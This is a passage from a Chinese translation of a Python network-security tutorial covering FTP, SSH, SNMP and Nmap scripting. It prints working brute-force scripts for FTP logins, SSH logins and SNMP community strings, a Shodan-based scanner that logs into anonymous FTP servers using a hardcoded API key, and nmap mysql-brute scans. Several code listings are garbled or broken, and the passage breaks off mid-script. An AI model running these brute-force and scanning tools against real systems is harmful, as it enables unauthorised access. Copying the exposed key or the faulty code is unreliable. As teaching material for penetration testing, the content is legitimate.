    {"text": "FTP 类（ method __init __ () 的构造函数方法接收 host 、 user 和 key 作为参数，因此在任何情况下将这些参数传递给 FTP 都可以避免使用连接方法（ host 、 port 、 timeout 和登录（ user 、 password ）。 在这个截图中，我们可以看到更多关于 FTP 类和 init 方法构造函数参数的信息： 为了连接，我们可以通过几种方式进行连接。 一种是使用 connect() 方法，另一种是通过 FTP 类构造函数。 在这个脚本中，我们可以看到如何连接 ftp 服务器： from ftplib import FTP server = '' # Connect with the connect() and login() methods ftp = FTP () ftp . connect ( server , 21 ) ftp . login ( ‘ user ’ , ‘ password ’ ) # Connect in the instance to FTP ftp_client = FTP ( server , 'user' , 'password' ) FTP() 类的参数为：远程服务器、 ftp 用户的用户名和密码。"},
    {"text": "在本例中，我们连接到 FTP 服务器，以便从 ftp.be.debian.org server 下载二进制文件。 在下面的脚本中，我们可以看到如何连接到一个 匿名 FTP 服务器，并在没有用户和密码的情况下下载二进制文件。"},
    {"text": "您可以在文件名中找到以下代码： ftp_download_file.py ： #!/usr/bin/env python import ftplib FTP_SERVER_URL = 'ftp.be.debian.org' DOWNLOAD_DIR_PATH = '/pub/linux/network/wireless/' DOWNLOAD_FILE_NAME = 'iwd-0.3.tar.gz' def ftp_file_download ( path , username ): # open ftp connection ftp_client = ftplib . FTP ( path , username ) # list the files in the download directory ftp_client . cwd ( DOWNLOAD_DIR_PATH ) print ( \"File list at %s:\" % path ) files = ftp_client . dir () print ( files ) # download a file file_handler = open ( DOWNLOAD_FILE_NAME , 'wb' ) ftp_cmd = 'RETR %s' % DOWNLOAD_FILE_NAME ftp_client . retrbinary ( ftp_cmd , file_handler . write ) file_handler . close () qftp_client . quit () if __name__ == '__main__' : ftp_file_download ( path = FTP_SERVER_URL , username = 'anonymous' ) 使用 ftplib 强制 FTP 用户凭据 此库的主要用途之一是使用字典检查 FTP 服务器是否容易受到暴力攻击。"},
    {"text": "您可以在文件名中找到以下代码： ftp_brute_force.py ： **```py import ftplib import sys def brute_force(ip,users_file,passwords_file): try: ud=open(users_file,\"r\") pd=open(passwords_file,\"r\") users= ud.readlines() passwords= pd.readlines() for user in users: for password in passwords: try: print(\"[*] Trying to connect\") connect=ftplib.FTP(ip) response=connect.login(user.strip(),password.strip()) print(response) if \"230 Login\" in response: print(\"[*]Sucessful attack\") print(\"User: \"+ user + \"Password: \"+password) sys.exit() else: pass except ftplib.error_perm: print(\"Cant Brute Force with user \"+user+ \"and password \"+password) connect.close except(KeyboardInterrupt): print(\"Interrupted!\") sys.exit() ip=input(\"Enter FTP SERVER:\") user_file=\"users.txt\" passwords_file=\"passwords.txt\" brute_force(ip,user_file,passwords_file) # 用 Python 构建匿名 FTP 扫描器 我们可以使用`ftplib`模块来构建脚本，以确定服务器是否提供匿名登录。"},
    {"text": "如果成功，则返回值“`True`” 您可以在文件名中找到以下代码：`checkFTPanonymousLogin.py`： ```py import ftplib def anonymousLogin(hostname): try: ftp = ftplib.FTP(hostname) ftp.login('anonymous', '') print(ftp.getwelcome()) ftp.set_pasv(1) print(ftp.dir()) print('\\n[*] ' + str(hostname) +' FTP Anonymous Logon Succeeded.') return ftp except Exception as e: print(str(e)) print('\\n[-] ' + str(hostname) +' FTP Anonymous Logon Failed.') return False 在这个屏幕截图中，我们可以看到一个通过允许 匿名登录 的服务器执行上一个脚本的示例： 在本例中， ftplib 模块用于访问 FTP 服务器。 在本例中，创建了一个脚本，其中使用 shodan 提取允许匿名身份验证的 FTP 服务器列表，然后对根目录的内容使用 ftplib。 您可以在文件名中找到以下代码： ftp_list_anonymous_shodan.py ： **```py import ftplib import shodan import socket ips =[] shodanKeyString = 'v4YpsPUJ3wjDxEqywwu6aF5OZKWj8kik' shodanApi = shodan.Shodan(shodanKeyString) results = shodanApi.search(\"port: 21 Anonymous user logged in\") for match in results['matches']: if match['ip_str'] is not None: ips.append(match['ip_str']) print(\"Sites found: %s\" %len(ips)) for ip in ips: try: print(ip) #server_name = socket.gethostbyaddr(str(ip)) server_name = socket.getfqdn(str(ip)) print(\"Connecting to ip: \" +ip+ \" / Server name:\" + server_name[0]) ftp = ftplib.FTP(ip) ftp.login() print(\"Connection to server_name %s\" %server_name[0]) print(ftp.retrlines('LIST')) ftp.quit() print(\"Existing to server_name %s\" %server_name[0]) except Exception as e: print(str(e)) print(\"Error in listing %s\" %server_name[0]) # 连接 SSH 服务器 在本节中，我们将回顾 Paramiko 和`pxssh`模块，它们为我们提供了以简单方式创建 SSH 客户端的必要方法。"},
    {"text": "当 SSH 客户端安全地连接到服务器时，它会将服务器的公钥注册到一个特殊文件中，该文件以一种称为`/.ssh/known_hosts`文件的隐藏方式存储。 如果在服务器端，访问必须限于具有特定 IP 地址的特定客户端，那么允许的主机的公钥可以存储在另一个名为`ssh_known_hosts`的特殊文件中。"},
    {"text": "在该图书馆的主要优势中，我们可以强调： * 它以任何程序员都能轻松理解的方式封装了针对 SSH 服务器执行自动化脚本所涉及的困难 * 它通过`PyCrypto`库支持 SSH2 协议，该库使用它来实现公钥和私钥加密的所有细节 * 它允许通过公钥进行身份验证、通过密码进行身份验证以及创建 SSH 隧道 * 它允许我们编写健壮的 SSH 客户端，其功能与 Putty 或 OpenSSH 客户端等其他 SSH 客户端相同 * 它支持使用 SFTP 协议安全地传输文件 You may also be interested in using the `pysftp` module, which is based on Paramiko. More details regarding this package can be found at PyPI: [https://pypi.python.org/pypi/pysftp.](https://pypi.python.org/pypi/pysftp) # 安装 Paramiko 您可以使用经典命令`pip install paramiko`直接从 pip Python 存储库安装 Paramiko。"},
    {"text": "您可以在 Python2.4 和 3.4+中安装它，并且系统上必须安装一些依赖项，例如`PyCrypto`和`Cryptography`模块，具体取决于您要安装的版本。"},
    {"text": "在官方文档中，您可以看到如何安装它以及可用的不同版本： [http://www.paramiko.org](http://www.paramiko.org) 有关加密的安装详细信息，请访问： [https://cryptography.io/en/latest/installation](https://cryptography.io/en/latest/installation) # 与 Paramiko 建立 SSH 连接 我们可以使用`Paramiko`模块创建一个 SSH 客户端，然后将其连接到 SSH 服务器。"},
    {"text": "这些说明将创建一个新的 SSHClient 实例，并通过调用`connect()`方法连接到 SSH 服务器： ```py import paramiko ssh_client = paramiko.SSHClient() ssh_client.connect(‘host’,username='username', password='password') 默认情况下，此客户端类的 SSHClient 实例将拒绝连接在 known_hosts 文件中未保存密钥的主机。"},
    {"text": "这将通过 client.set_missing_host_key_policy 完成，然后通过 AutoAddPolicy() 完成： ssh_client . set_missing_host_key_policy ( paramiko . AutoAddPolicy ()) 如果需要限制只接受特定主机的连接，则可以使用 load_system_host_keys() 方法添加系统主机密钥和系统指纹： ssh_client . load_system_host_keys () 连接到 SSH 服务器的另一种方式是通过 Transport() 方法，该方法提供了另一种类型的对象来对服务器进行身份验证： transport = paramiko . Transport ( ip ) try : transport . start_client () except Exception as e : print ( str ( e )) try : transport . auth_password ( username = user , password = passwd ) except Exception as e : print ( str ( e )) if transport . is_authenticated (): print ( \"Password found \" + passwd ) 我们可以查询 transport 子模块帮助，查看我们可以调用哪些方法来连接并获取有关 SSH 服务器的更多信息： 这是用于验证用户和密码的方法： open_session 方法允许我们针对服务器打开一个新会话，以便执行命令： 使用 Paramiko 运行命令 现在我们使用 Paramiko 连接到远程主机，然后可以使用此连接在远程主机上运行命令。"},
    {"text": "要执行命令，我们只需调用 connect() 方法以及目标 hostname 和 SSH 登录凭据。 要在目标主机上运行任何命令，我们需要通过将命令作为参数传递来调用 exec_command() 方法： ssh_client . connect ( hostname , port , username , password ) stdin , stdout , stderr = ssh_client . exec_command ( cmd ) for line in stdout . readlines (): print ( line . strip ()) ssh . close () 下面的代码清单显示了如何通过 SSH 登录到目标主机，然后运行 ifconfig 命令。 下一个脚本将建立到本地主机的 SSH 连接，然后运行 ifconfig 命令，该命令允许我们查看所连接机器的网络配置。"},
    {"text": "我们创建了一个名为 ssh_command 的函数，它连接到 SSH 服务器并运行单个命令。 为了执行该命令，我们使用登录到服务器时从开放会话获得的 ssh_session 对象的 exec_command() 方法。 您可以在文件名中找到以下代码： SSH_command.py ： #!/usr/bin/env python3 import getpass import paramiko HOSTNAME = 'localhost' PORT = 22 def run_ssh_command ( username , password , command , hostname = HOSTNAME , port = PORT ): ssh_client = paramiko . SSHClient () ssh_client . set_missing_host_key_policy ( paramiko . AutoAddPolicy ()) ssh_client . load_system_host_keys () ssh_client . connect ( hostname , port , username , password ) ssh_session = client . get_transport (). open_session () if ssh_session . active : stdin , stdout , stderr = ssh_client . exec_command ( command ) print ( stdout . read ()) return if __name__ == '__main__' : username = input ( \"Enter username: \" ) password = getpass . getpass ( prompt = \"Enter password: \" ) command = 'ifconfig' run_ssh_command ( username , password , command ) 在本例中，我们执行与前面脚本中相同的功能，但在本例中，我们使用 Transport 类建立与 SSH 服务器的连接。"},
    {"text": "您可以在文件名中找到以下代码： SSH_transport.py ： **```py import paramiko def ssh_command(ip, user, passwd, command): transport = paramiko.Transport(ip) try: transport.start_client() except Exception as e: print(e) try: transport.auth_password(username=user,password=passwd) except Exception as e: print(e) if transport.is_authenticated(): print(transport.getpeername()) channel = transport.opem_session() channel.exec_command(command) response = channel.recv(1024) print('Command %r(%r)-->%s' % (command,user,response)) if name == ' main ': username = input(\"Enter username: \") password = getpass.getpass(prompt=\"Enter password: \") command= 'ifconfig' run_ssh_command('localhost',username, password, command) # 使用蛮力处理的 SSH 连接 在本例中，我们执行一个**SSHConnection**类，该类允许我们初始化`SSHClient`对象并实现以下方法： * `def ssh_connect (self, ip_address, user, password, code = 0)` * `def startSSHBruteForce (self, host)` 第一种方法尝试实现到特定 IP 地址的连接，用户和密码作为参数传递。"},
    {"text": "第二种方法是将两个读取的文件作为输入（`users.txt`、`passwords.txt`），并通过蛮力过程，尝试测试从文件中读取的用户和密码的所有可能组合。"},
    {"text": "请注意，如果我们有连接错误，我们会有一个异常块，在该异常块中执行不同的处理，这取决于连接失败是由于身份验证错误（`paramiko.AuthenticationException`）还是由于与服务器的连接错误（`socket.error`）。"},
    {"text": "文件示例可在 fuzzdb 项目中找到： [https://github.com/fuzzdb-project/fuzzdb/tree/master/wordlists-user-passwd](https://github.com/fuzzdb-project/fuzzdb/tree/master/wordlists-user-passwd) 您可以在文件名中找到以下代码：**`SSHConnection_brute_force.py`：** **```py import paramiko class SSHConnection: def __init__(self): #ssh connection with paramiko library self.ssh = paramiko.SSHClient() def ssh_connect(self,ip,user,password,code=0): self.ssh.load_system_host_keys() self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) print(\"[*] Testing user and password from dictionary\") print(\"[*] User: %s\" %(user)) print(\"[*] Pass :%s\" %(password)) try: self.ssh.connect(ip,port=22,username=user,password=password,timeout=5) except paramiko.AuthenticationException: code = 1 except socket.error as e: code = 2 self.ssh.close() return code 对于暴力过程，我们可以定义一个函数，该函数迭代用户和密码的文件，并尝试为每个组合与 ssh 建立连接： def startSSHBruteForce ( self , host ): try : #open files dictionary users_file = open ( \"users.txt\" ) passwords_file = open ( \"passwords.txt\" ) for user in users_file . readlines (): for password in passwords_file . readlines (): user_text = user . strip ( \" \\n \" ) password_text = password . strip ( \" \\n \" ) try : #check connection with user and password response = self . ssh_connect ( host , user_text , password_text ) if response == 0 : print ( \"[*] User: %s [*] Pass Found:%s\" % ( user_text , password_text )) stdin , stdout , stderr = self . ssh . exec_command ( \"ifconfig\" ) for line in stdout . readlines (): print ( line . strip ()) sys . exit ( 0 ) elif response == 1 : print ( \"[*]Login incorrect\" ) elif response == 2 : print ( \"[*] Connection could not be established to %s\" % ( host )) sys . exit ( 2 ) except Exception as e : print ( \"Error ssh connection\" ) pass #close files users_file . close () passwords_file . close () except Exception as e : print ( \"users.txt /passwords.txt Not found\" ) pass 与 pxsh 的 SSH 连接 pxssh 是一个基于 Pexpect 的 Python 模块，用于建立 SSH 连接。"},
    {"text": "pxssh 文档 We can find official documentation on the readthedocs site for the Pexpect module at http://pexpect.readthedocs.io/en/stable/api/pxssh.html. 此外，我们还可以使用 Python 终端的 help 命令获得更多信息： import pxssh help ( pxssh ) 在远程 SSH 服务器上运行命令 本例导入 getpass 模块，该模块将提示主机、用户和密码，建立连接，并在远程服务器上运行一些命令。"},
    {"text": "您可以在文件名中找到以下代码： pxsshConnection.py ： import pxssh import getpass try : connection = pxssh . pxssh () hostname = input ( 'hostname: ' ) username = input ( 'username: ' ) password = getpass . getpass ( 'password: ' ) connection . login ( hostname , username , password ) connection . sendline ( 'ls -l' ) connection . prompt () print ( connection . before ) connection . sendline ( 'df' ) connection . prompt () print ( connection . before ) connection . logout () except pxssh . ExceptionPxssh as e : print ( \"pxssh failed on login.\" ) print ( str ( e )) 我们可以创建具体的方法来建立 connection 和 send 命令。 您可以在文件名中找到以下代码： pxsshCommand.py ： #!/usr/bin/python # -*- coding: utf-8 -*- import pxssh hostname = 'localhost' user = 'user' password = 'password' command = 'df -h' def send_command ( ssh_session , command ): ssh_session . sendline ( command ) ssh_session . prompt () print ( ssh_session . before ) def connect ( hostname , username , password ): try : s = pxssh . pxssh () if not s . login ( hostname , username , password ): print ( \"SSH session failed on login.\" ) return s except pxssh . ExceptionPxssh as e : print ( '[-] Error Connecting' ) print ( str ( e )) def main (): session = connect ( host , user , password ) send_command ( session , command ) session . logout () if __name__ == '__main__' : main () 连接 SNMP 服务器 在本节中，我们将回顾 PySNMP 模块，该模块为我们提供了以简单方式连接 SNMP 服务器的必要方法。"},
    {"text": "简单网络管理协议（SNMP） SMNP 是一种在用户数据报协议（UDP）上工作的网络协议，主要用于路由器、交换机、服务器和虚拟主机的管理和网络设备监控。"},
    {"text": "您可以使用以下 pip 命令安装 PySNMP 模块： $ pip install pysnmp 在此屏幕截图中，我们可以看到需要为此模块安装的依赖项： 我们可以看到 PySNMP 的安装需要 pyasn1 包。"},
    {"text": "pyasn1 is available in the PyPI repository: https://pypi.org/project/pyasn1/ . In the GitHub repository https://github.com/etingof/pyasn1 , we can see how to use this module to obtain record information when we are interacting with SNMP servers. 对于本模块，我们可以在以下页面找到正式文档： http://pysnmp.sourceforge.net/quick-start.html 用于执行 SNMP 查询的主要模块如下： pysnmp.entity.rfc3413.oneliner.cmdgen 下面是允许您查询 SNMP 服务器的 CommandGenerator 类： 在这段代码中，我们可以看到 CommandGenerator 类的基本用法： from pysnmp.entity.rfc3413.oneliner import cmdgen cmdGen = cmdgen . CommandGenerator () cisco_contact_info_oid = \"1.3.6.1.4.1.9.2.1.61.0\" 我们可以使用 getCmd() 方法执行 SNMP。"},
    {"text": "其中三个与命令生成器返回的错误相关，第四个（ varBinds 与绑定返回数据并包含查询结果的实际变量相关： errorIndication , errorStatus , errorIndex , varBinds = cmdGen . getCmd ( cmdgen . CommunityData ( 'secret' ), cmdgen . UdpTransportTarget (( '172.16.1.189' , 161 )), cisco_contact_info_oid ) for name , val in varBinds : print ( '%s = %s' % ( name . prettyPrint (), str ( val ))) 您可以看到 cmdgen 采用以下 参数 ： **CommunityData（）：**将社区字符串设置为 public。"},
    {"text": "您可以在文件名中找到以下代码： snmp_example1.py ： from pysnmp.hlapi import * SNMP_HOST = '182.16.190.78' SNMP_PORT = 161 SNMP_COMMUNITY = 'public' errorIndication , errorStatus , errorIndex , varBinds = next ( getCmd ( SnmpEngine (), CommunityData ( SNMP_COMMUNITY , mpModel = 0 ), UdpTransportTarget (( SNMP_HOST , SNMP_PORT )), ContextData (), ObjectType ( ObjectIdentity ( 'SNMPv2-MIB' , 'sysDescr' , 0 ))) ) if errorIndication : print ( errorIndication ) elif errorStatus : print ( '%s at %s' % ( errorStatus . prettyPrint (), errorIndex and varBinds [ int ( errorIndex ) - 1 ][ 0 ] or '?' )) else : for varBind in varBinds : print ( ' = ' . join ([ x . prettyPrint () for x in varBind ])) 如果我们尝试执行上一个脚本，我们会看到注册的 SNMP 代理的公共数据： 您可以在文件名中找到以下代码： snmp_example2.py ： **```py from snmp_helper import snmp_get_oid,snmp_extract SNMP_HOST = '182.16.190.78' SNMP_PORT = 161 SNMP_COMMUNITY = 'public' a_device = (SNMP_HOST, SNMP_COMMUNITY , SNMP_PORT) snmp_data = snmp_get_oid(a_device, oid='.1.3.6.1.2.1.1.1.0',display_errors=True) print(snmp_data) if snmp_data is not None: output = snmp_extract(snmp_data) print(output) 如果我们尝试执行上一个脚本，我们会看到注册的 SNMP 代理的公共数据： ![](img/1c0ec4d8-545b-4dc6-aef6-d0b856801159.png) 您可以在文件名中找到以下代码：**`snmp_example3.py`：** **```py from pysnmp.entity.rfc3413.oneliner import cmdgen SNMP_HOST = '182.16.190.78' SNMP_PORT = 161 SNMP_COMMUNITY = 'public' snmpCmdGen = cmdgen.CommandGenerator() snmpTransportData = cmdgen.UdpTransportTarget((SNMP_HOST ,SNMP_PORT )) error,errorStatus,errorIndex,binds = snmpCmdGen getCmd(cmdgen.CommunityData(SNMP_COMMUNITY),snmpTransportData,\"1.3.6.1.2.1.1.1.0\",\"1.3.6.1.2.1.1.3.0\",\"1.3.6.1.2.1.2.1.0\") if error: print(\"Error\"+error) else: if errorStatus: print('%s at %s' %(errorStatus.prettyPrint(),errorIndex and binds[int(errorIndex)-1] or '?')) else: for name,val in binds: print('%s = %s' % (name.prettyPrint(),val.prettyPrint())) 如果我们尝试执行上一个脚本，我们会看到注册的 SNMP 代理的公共数据： 在本例中，我们尝试查找特定 SNMP 服务器的社区。 对于此任务，我们首先从 fuzzdb 获取文件 wordlist-common-snmp-community-strings.txt ，该文件包含可用社区的列表： https://github.com/fuzzdb-project/fuzzdb/blob/master/wordlists-misc/wordlist-common-snmp-community-strings.txt 您可以在文件名中找到以下代码： snmp_brute_force.py ： from pysnmp.entity.rfc3413.oneliner import cmdgen SNMP_HOST = '182.16.190.78' SNMP_PORT = 161 cmdGen = cmdgen . CommandGenerator () fd = open ( \"wordlist-common-snmp-community-strings.txt\" ) for community in fd . readlines (): snmpCmdGen = cmdgen . CommandGenerator () snmpTransportData = cmdgen . UdpTransportTarget (( SNMP_HOST , SNMP_PORT ), timeout = 1.5 , retries = 0 ) error , errorStatus , errorIndex , binds = snmpCmdGen . getCmd ( cmdgen . CommunityData ( community ), snmpTransportData , \"1.3.6.1.2.1.1.1.0\" , \"1.3.6.1.2.1.1.3.0\" , \"1.3.6.1.2.1.2.1.0\" ) # Check for errors and print out results if error : print ( str ( error ) + \" For community: %s \" % ( community )) else : print ( \"Community Found '%s' ... exiting.\" % ( community )) break 要获取服务器和 SNMP 代理，我们可以使用 SNMP 协议和端口 161 在 Shodan 中搜索，得到以下结果： 检查与 SNMP 服务器的连接并获取 SNMP 变量值的一个有趣的工具是适用于 Windows 和 Unix 环境的 snmp-get ： https://snmpsoft.com/shell-tools/snmp-get/ 使用适用于 Windows 的 SnmpGet ，我们可以获得有关 SNMP 服务器的信息。"},
    {"text": "此外，Ubuntu 操作系统也提供了类似的工具： http://manpages.ubuntu.com/manpages/bionic/man1/snmpget.1.html 总结 本章的目标之一是描述允许我们连接 FTP、SSH 和 SNMP 服务器的模块。"},
    {"text": "进一步阅读 在这些链接中，您将找到有关上述工具和官方 Python 文档的更多信息，用于搜索某些提到的模块： http://www.paramiko.org http://pexpect.readthedocs.io/en/stable/api/pxssh.html http://pysnmp.sourceforge.net/quick-start.html 对于有兴趣加深了解如何使用 Paramiko 创建远程服务器隧道的读者，您可以查看 PyPI 存储库中的 sshtunnel 模块： https://pypi.org/project/sshtunnel/ 。"},
    {"text": "八、使用 Nmap 扫描器 八、使用 Nmap 扫描器 原文： https://gitee.com/apachecn/apachecn-python-zh/blob/master/docs/master-py-net-sec/08.md 本章介绍如何使用 python nmap 进行网络扫描，以收集有关网络、主机和主机上运行的服务的信息。 我们可以在 Python 中找到一些允许端口扫描和自动检测服务和开放端口的工具，其中我们可以突出显示 Python nmap。"},
    {"text": "本章将介绍以下主题： 学习并理解 Nmap 协议作为端口扫描器，以识别主机上运行的服务 学习和理解 python-nmap 模块，该模块在较低级别上使用 Nmap，是优化端口扫描相关任务的非常有用的工具 使用 python-nmap module 学习和理解同步和异步扫描 学习和理解 Nmap 脚本以检测网络或特定主机中的漏洞 技术要求 本章的示例和源代码可在 GitHub 存储库的 chapter8 文件夹中找到： https://github.com/PacktPublishing/Mastering-Python-for-Networking-and-Security 。"},
    {"text": "可从 sourceforge 页面下载： https://sourceforge.net/projects/metasploitable/files/Metasploitable2 要登录，您必须使用用户名 msfadmin 和密码 msfadmin ： 如果我们执行 ifconfig 命令，我们可以看到网络的配置和我们可以用来执行测试的 IP 地址。"},
    {"text": "在这种情况下，我们本地网络的 IP 地址为 192.168.56.101 ： 如果我们使用 nmap 命令执行端口扫描，我们可以看到虚拟机中打开的端口： 基本上，Metasploitable 虚拟机（vm）是一个易受攻击的 Ubuntu Linux 版本，用于测试安全工具和演示常见漏洞 You can find more information about this virtual machine in the following guide: https://metasploit.help.rapid7.com/docs/metasploitable-2-exploitability-guide. 引入 Nmap 端口扫描 在本节中，我们将回顾用于端口扫描的 Nmap 工具及其支持的主要扫描类型。"},
    {"text": "如果从控制台运行 Nmap 工具，我们会得到以下结果： 我们可以看到我们有以下 类型的扫描 ： **sT（TCP 连接扫描）：**这是通常用于检测端口是否打开或关闭的选项，但它通常也是最受审核的机制，也是入侵检测系统监控最多的机制。"},
    {"text": "如果远程计算机响应的数据包已激活 RST 标志，则可以确定端口未被任何防火墙过滤。 在返回的事件中，如果远程设备没有响应，或者使用该类型的 ICMP 数据包进行响应，则可以确定有防火墙过滤发送到指定端口的数据包。"},
    {"text": "我们将了解 python-nmap 模块如何使用 Nmap，以及它如何成为优化特定目标（域、网络或 IP 地址）中发现服务相关任务的非常有用的工具。 python nmap 简介 在 Python 中，我们可以通过 Python Nmap 库使用 Nmap，它允许我们轻松地操作扫描结果。"},
    {"text": "您可以从 Bitbucket 存储库获取 python nmap 的源代码： https://bitbucket.org/xael/python-nmap 可从以下网站下载 python nmap 的最新版本： http://xael.org/pages/python-nmap-en.html https://xael.org/norman/python/python-nmap 安装 python nmap 要继续安装，请解压缩下载的包，跳转到新目录，然后执行安装命令。"},
    {"text": "要安装模块，需要使用管理员权限执行命令或使用系统超级用户（ sudo ： sudo apt - get install python - pip nmap sudo pip install python - nmap 使用 python nmap 现在，您可以导入 python nmap 模块，我们可以从脚本或交互终端调用该模块，例如： 验证模块安装后，我们可以开始在特定主机上执行扫描。"},
    {"text": "了解函数、方法或对象如何工作的最佳实践是使用 **help()** 或 dir() 函数找出模块中可用的方法： 如果我们执行一个 help (port_scan.scan) 命令，我们会看到 PortScanner 类的 scan 方法接收三个参数，主机、端口和参数，并在最后添加参数（所有参数都必须是字符串）。"},
    {"text": "我们使用 scan ('ip', 'ports') 方法启动第一次扫描，其中第一个参数是 IP 地址，第二个是端口列表，第三个参数是可选的。 如果未定义，请执行标准 Nmap 扫描： import nmap nm = nmap . PortScanner () results = nm . scan ( '192.168.56.101' , '1-80' , '-sV' ) 在本例中，在 IP 地址为 192.168.56.101 的虚拟机上对 1-80 范围内的端口执行扫描。"},
    {"text": "在本例中，我们可以看到如何使用 tcp 方法获取特定端口的信息： 我们还可以通过返回上一屏幕截图中显示的状态属性的 state() 函数查看主机是否启动： nmap [ '192.168.56.101' ]. state () 我们还有扫描所有主机的 all_hosts() 方法，可以看到哪些主机启动了，哪些没有： for host in nmap . all_hosts (): print ( 'Host : %s (%s)' % ( host , nmap [ host ]. hostname ())) print ( 'State : %s' % nmap [ host ]. state ()) 我们还可以看到在扫描过程中给出某种类型响应的服务，以及使用的 scanning 方法： nm . scaninfo () 我们还扫描所有协议： for proto in nmap [ host ]. all_protocols (): print ( 'Protocol : %s' % proto ) listport = nmap [ host ][ 'tcp' ]. keys () listport . sort () for port in listport : print ( 'port : %s \\t state : %s' % ( port , nmap [ host ][ proto ][ port ][ 'state' ])) 下面的脚本尝试使用 PythonNMAP 以参数的形式执行扫描，条件如下。"},
    {"text": "您可以在文件名中找到以下代码： Nmap_port_scanner.py ： #!/usr/bin/python #import nmap module import nmap #initialize portScanner nm = nmap . PortScanner () # we ask the user for the host that we are going to scan host_scan = raw_input ( 'Host scan: ' ) while host_scan == \"\" : host_scan = raw_input ( 'Host scan: ' ) #execute scan in portlist portlist = \"21,22,23,25,80,8080\" nm . scan ( hosts = host_scan , arguments = '-n -p' + portlist ) #show nmap command print nm . command_line () hosts_list = [( x , nm [ x ][ 'status' ][ 'state' ]) for x in nm . all_hosts ()] #write in scan.txt file file = open ( 'scan.txt' , 'w' ) for host , status in hosts_list : print host , status file . write ( host + ' \\n ' ) #show state for each port array_portlist = portlist . split ( ',' ) for port in array_portlist : state = nm [ host_scan ][ 'tcp' ][ int ( port )][ 'state' ] print \"Port:\" + str ( port ) + \" \" + \"State:\" + state file . write ( \"Port:\" + str ( port ) + \" \" + \"State:\" + state + ' \\n ' ) #close file file . close () Nmap_port_scanner.py 执行： 在此屏幕截图中，我们可以看到在 Metasploitable vm 中以参数形式传递的端口状态，该 vm 具有指定的 IP 地址： 使用 python nmap 扫描模式 在本节中，我们将回顾 python-nmap 模块中支持的扫描模式。"},
    {"text": "python-nmap 允许以两种模式自动执行端口扫描任务和报告：同步和异步。 在异步模式下，我们可以定义一个 callback 函数，该函数将在特定端口中完成扫描时执行，在该函数中，我们可以在端口打开时进行其他处理，例如为特定服务（HTTP、FTP、MySQL）启动 Nmap 脚本。"},
    {"text": "您可以在文件名中找到以下代码： NmapScanner.py ： import optparse , nmap class NmapScanner : def __init__ ( self ): self . nmsc = nmap . PortScanner () def nmapScan ( self , host , port ): self . nmsc . scan ( host , port ) self . state = self . nmsc [ host ][ 'tcp' ][ int ( port )][ 'state' ] print \" [+] \" + host + \" tcp/\" + port + \" \" + self . state def main (): parser = optparse . OptionParser ( \"usage%prog \" + \"-H <target host> -p <target port>\" ) parser . add_option ( '-H' , dest = 'host' , type = 'string' , help = 'Please, specify the target host.' ) parser . add_option ( '-p' , dest = 'ports' , type = 'string' , help = 'Please, specify the target port(s) separated by comma.' ) ( options , args ) = parser . parse_args () if ( options . host == None ) | ( options . ports == None ): print '[-] You must specify a target host and a target port(s).' exit ( 0 ) host = options . host ports = options . ports . split ( ',' ) for port in ports : NmapScanner (). nmapScan ( host , port ) if __name__ == \"__main__\" : main () 我们可以在命令行中执行上一个脚本来显示选项： python NmapScanner . py - h 通过 -h 参数，我们可以看到脚本选项： 如果我们使用前面的参数执行脚本，这就是输出： 除了执行端口扫描并通过控制台返回结果外，我们还可以生成一个 JSON 文档来存储结果，并为给定主机打开端口。"},
    {"text": "您可以在文件名中找到以下代码： NmapScannerJSONGenerate.py ： **```py def nmapScanJSONGenerate(self, host, ports): try: print \"Checking ports \"+ str(ports) +\" ..........\" self.nmsc.scan(host, ports) # Command info print \"[*] Execuing command: %s\" % self.nmsc.command_line() print self.nmsc.csv() results = {} for x in self.nmsc.csv().split(\"\\n\")[1:-1]: splited_line = x.split(\";\") host = splited_line[0] proto = splited_line[1] port = splited_line[2] state = splited_line[4] try: if state == \"open\": results[host].append({proto: port}) except KeyError: results[host] = [] results[host].append({proto: port}) # Store info file_info = \"scan_%s.json\" % host with open(file_info, \"w\") as file_json: json.dump(results, file_json) print \"[*] File '%s' was generated with scan results\" % file_info except Exception,e: print e print \"Error to connect with \" + host + \" for port scanning\" pass 在这个截图中，我们可以看到`NmapScannerJSONGenerate`脚本执行的输出： ![](img/151f4d1e-e673-4c60-a8c9-6a21495607f6.png) # 异步扫描 我们可以使用`PortScannerAsync()`类执行异步扫描。 在这种情况下，在执行扫描时，我们可以指示一个额外的回调参数，在该参数中我们定义了`return`函数，该函数将在扫描结束时执行： ```py import nmap nmasync = nmap.PortScannerAsync() def callback_result(host, scan_result): print host, scan_result nmasync.scan(hosts='127.0.0.1', arguments='-sP', callback=callback_result) while nmasync.still_scanning(): print(\"Waiting >>>\") nmasync.wait(2) 通过这种方式，我们可以定义一个 callback 函数，该函数在 Nmap 对我们正在分析的机器有结果时执行。"},
    {"text": "下面的脚本允许我们使用 Nmap 异步执行扫描，以便输入参数请求目标和端口。 该脚本所要做的是异步执行 MySQL port (3306) 中的扫描，并执行 MySQL 服务可用的 Nmap 脚本。"},
    {"text": "为了测试它，我们可以在虚拟机 Metasploitable2 上运行它，该虚拟机的端口 3306 是开放的，此外，我们还可以执行 Nmap 脚本并获取有关该虚拟机上运行的 MySQL 服务的附加信息。"},
    {"text": "您可以在文件名中找到以下代码： NmapScannerAsync.py ： import optparse , nmap import json import argparse def callbackMySql ( host , result ): try : script = result [ 'scan' ][ host ][ 'tcp' ][ 3306 ][ 'script' ] print \"Command line\" + result [ 'nmap' ][ 'command_line' ] for key , value in script . items (): print 'Script {0} --> {1}' . format ( key , value ) except KeyError : # Key is not present pass class NmapScannerAsync : def __init__ ( self ): self . nmsync = nmap . PortScanner () self . nmasync = nmap . PortScannerAsync () def scanning ( self ): while self . nmasync . still_scanning (): self . nmasync . wait ( 5 ) 此方法检查作为参数传递的端口，并以异步方式启动与 MySQL 相关的 Nmap 脚本： def nmapScan ( self , hostname , port ): try : print \"Checking port \" + port + \" ..........\" self . nmsync . scan ( hostname , port ) self . state = self . nmsync [ hostname ][ 'tcp' ][ int ( port )][ 'state' ] print \" [+] \" + hostname + \" tcp/\" + port + \" \" + self . state #mysql if ( port == '3306' ) and self . nmsync [ hostname ][ 'tcp' ][ int ( port )][ 'state' ] == 'open' : print 'Checking MYSQL port with nmap scripts......' #scripts for mysql:3306 open print 'Checking mysql-audit.nse.....' self . nmasync . scan ( hostname , arguments = \"-A -sV -p3306 --script mysql-audit.nse\" , callback = callbackMySql ) self . scanning () print 'Checking mysql-brute.nse.....' self . nmasync . scan ( hostname , arguments = \"-A -sV -p3306 --script mysql-brute.nse\" , callback = callbackMySql ) self . scanning () print 'Checking mysql-databases.nse.....' self 